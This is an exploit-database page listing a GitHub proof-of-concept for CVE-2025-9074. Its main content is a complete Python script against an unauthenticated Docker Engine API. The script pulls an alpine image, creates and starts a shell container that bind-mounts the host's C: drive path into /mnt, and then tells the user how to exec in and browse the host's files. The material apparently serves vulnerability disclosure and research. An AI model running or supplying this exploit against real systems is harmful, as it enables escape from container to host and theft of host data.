Exploit database

GH-739190b7a8c49bde8fede71f670d2e64

oilseller2001/poc-for-cve-2025-9074

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-9074

14 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
oilseller2001/poc-for-cve-2025-9074Revision a1c19816fa59

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc_cve_2025_9074.py

Python · 5,385 bytes
import requests
import json
import sys

# Default IP/Hostname and Port for the Docker API
DEFAULT_HOST = "127.0.0.1" 
DEFAULT_PORT = "2375"
IMAGE_NAME = "alpine" 

def check_and_exploit_docker_api(target_host):
    """
    Executes the PoC steps targeting an unauthenticated Docker API.
    """
    # The target_host should include both the host and port (e.g., "127.0.0.1:2375")
    target_url = f"http://{target_host}"
    
    print(f"[+] Target URL: {target_url}")

    # --- Step 1: Check API availability (Equivalent to curl http://target:2375/info) ---
    print("[1/5] Checking Docker API connection status...")
    info_url = f"{target_url}/info"
    
    try:
        response = requests.get(info_url, timeout=10)
        response.raise_for_status()
        
        if 'ServerVersion' in response.text and response.status_code == 200:
            print("[+] Connection successful! Docker API exposure detected.")
            # Required message for successful initial check
            print("Detected presence of CVE-2025-9074 vulnerability.")
        else:
            print("[-] API is reachable, but the response content does not look like the Docker Engine API.")
            return
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection failed or API is not exposed/accessible. Error: {e}")
        sys.exit(1)

    # --- Step 2: Pull the required Image (Equivalent to docker pull alpine) ---
    print(f"\n[2/5] Attempting to pull the required image: {IMAGE_NAME}...")
    pull_url = f"{target_url}/images/create?fromImage={IMAGE_NAME}&tag=latest"
    
    try:
        # Note: The pull process can take time, increasing the timeout
        response = requests.post(pull_url, timeout=30) 
        response.raise_for_status()
        
        # Check for pull progress indicators
        if '{"status":"Pull complete"}' in response.text or '{"status":"Image is up to date' in response.text:
            print(f"[+] Image '{IMAGE_NAME}' pulled or already present successfully.")
        else:
            print(f"[?] Image pull request sent successfully. Daemon should have the image now.")

    except requests.exceptions.RequestException as e:
        print(f"[-] Image pull failed. This might cause the next step to fail. Error: {e}")
        pass # Continue to the next step, as the image might already be present


    # --- Step 3: Prepare JSON payload for container creation (Equivalent to pwn.json) ---
    print("\n[3/5] Preparing malicious container creation request payload...")
    payload = {
      "Image": IMAGE_NAME,     
      "Cmd": ["/bin/sh"],    
      "Tty": True,           
      "HostConfig": {        
        "Mounts": [          
          {
            "Type": "bind",  
            # **NOTE**: Adjust this path as necessary for the target host's filesystem
            "Source": "/run/desktop/mnt/host/c/", 
            "Target": "/mnt" 
          }
        ]
      }
    }
    
    # --- Step 4: Create container (Equivalent to curl -X POST ... /containers/create) ---
    print("[4/5] Sending container creation request...")
    create_url = f"{target_url}/containers/create"
    
    try:
        response = requests.post(create_url, json=payload, timeout=10)
        response.raise_for_status()
        
        container_data = response.json()
        container_id = container_data.get('Id')
        
        if not container_id:
            print(f"[-] Container creation failed; no ID received. Response: {response.text}")
            return
            
        short_id = container_id[:12]
        print(f"[+] Container created successfully. ID: {short_id}")

        # --- Step 5: Start container (Equivalent to curl -X POST ... /containers/{id}/start) ---
        print("[5/5] Starting container...")
        start_url = f"{target_url}/containers/{container_id}/start"
        
        response = requests.post(start_url, timeout=5)
        response.raise_for_status()
        
        print("[+] Container started successfully!")

        # --- Step 6: Display next steps ---
        print("\n==============================================")
        print("[*] PoC completed. You can now manually connect to the newly created container to access the host's filesystem:")
        print(f"    docker exec -it {short_id} sh")
        print("[*] Inside the container, the host's bind-mounted path will be located at /mnt.")
        print("    Example: Type 'ls /mnt' to view the host directory.")
        print("==============================================")


    except requests.exceptions.RequestException as e:
        print(f"[-] An error occurred during the execution of the exploit step: {e}")
        if 'response' in locals() and response.status_code == 404:
             print("[!!!] Check: The image might still not be available on the daemon.")
    except json.JSONDecodeError:
        print("[-] Received invalid JSON response.")


if __name__ == '__main__':
    default_target = f"{DEFAULT_HOST}:{DEFAULT_PORT}"
    
    if len(sys.argv) > 1:
        target_host = sys.argv[1]
    else:
        # Prompt user for input, showing the new default
        target_host = input(f"Please enter the host:port of the target Docker API (Default: {default_target}): ")
        if not target_host:
            target_host = default_target

    check_and_exploit_docker_api(target_host)